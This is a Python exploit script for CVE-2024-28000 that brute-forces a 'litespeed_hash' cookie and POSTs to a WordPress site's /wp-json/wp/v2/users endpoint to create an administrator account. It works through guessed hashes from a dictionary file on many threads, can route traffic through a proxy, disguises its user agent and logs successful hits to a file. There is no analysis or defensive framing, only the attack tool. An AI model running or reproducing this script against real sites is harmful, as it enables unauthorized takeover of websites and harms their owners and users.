CVE-2024-28000_Exploit.py

import re
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
from colorama import Fore, Style
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from concurrent.futures import ThreadPoolExecutor
from inspect import signature
from fake_useragent import UserAgent
ua = UserAgent()
from urllib.parse import urlparse
import argparse
import queue
from alive_progress import alive_bar




def exploit(hash):
    cookies = {"litespeed_hash": hash,
               "litespeed_role": "1"}
    user_data = {
        'username': "testsssssss22dsssss3123",
        'password': "tesdddddddsaddddddddd3213t",
        'email': f'tddddddd3fd2ddest@exa2fmple.com',
        'roles': ['administratorxxxxxxxxxxxxx']
    }
    try:
        response = requests.post(f'{target}/wp-json/wp/v2/users', cookies=cookies, json=user_data, verify=False, timeout=40, proxies=proxies)

        if "rest_user_invalid_role" in response.text:
            result = target + " | " + hash
            print(f'[SUCCESS] Exploit -> {target} | {hash}')
            open('Exploit.txt', 'a').write(result + '\n')
            input("Exploit successfully!")
        elif '{"code":"' not in response.text and ',"message":' not in response.text and '"data":{' not in response.text:
            print(f'[Failed] -> {hash}')
        else:

            pass
    except:
        print(f'[Networl Error] -> {hash}')

#847kzd
def process_urls(url_queue, update_bar):
    while True:
        url = url_queue.get()
        if url is None:
            url_queue.task_done()
            break
        try:
            exploit(url)
        except:
            pass
        finally:
            url_queue.task_done()
            update_bar()



def process_file(dict_list, scan_thread):
    urls = []
    with open(dict_list, 'r', encoding='utf-8') as file:
        urls = [line.strip() for line in file]
    url_queue = queue.Queue()
    num_workers = min(int(scan_thread), len(urls))
    with alive_bar(len(urls), bar='smooth', enrich_print=False) as bar:
        with ThreadPoolExecutor(max_workers=num_workers) as executor:
            for _ in range(num_workers):
                executor.submit(process_urls, url_queue, bar)
            for url in urls:
                url_queue.put(url)
            for _ in range(num_workers):
                url_queue.put(None)
            url_queue.join()


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2024-28000')

    parser.add_argument('-u', type=str, required=False, help='url')
    parser.add_argument('-t', type=str, required=False, help="Scan thread")
    parser.add_argument('-d', type=str, required=False, help="Dict list")
    parser.add_argument('-p', '--proxy', dest="proxy", help="Example: socks5://127.0.0.1:10808", required=False)
    args = (parser.parse_args())
    global need_target
    global proxies
    if (args.proxy):
        proxies = {
            "socks5": args.proxy
        }
    else:
        proxies = ''
    target = args.u
    scan_thread = args.t
    dict_list = args.d

    if dict_list is not None and scan_thread is not None:
        process_file(dict_list, scan_thread)
    else:
        print("          -h to get help")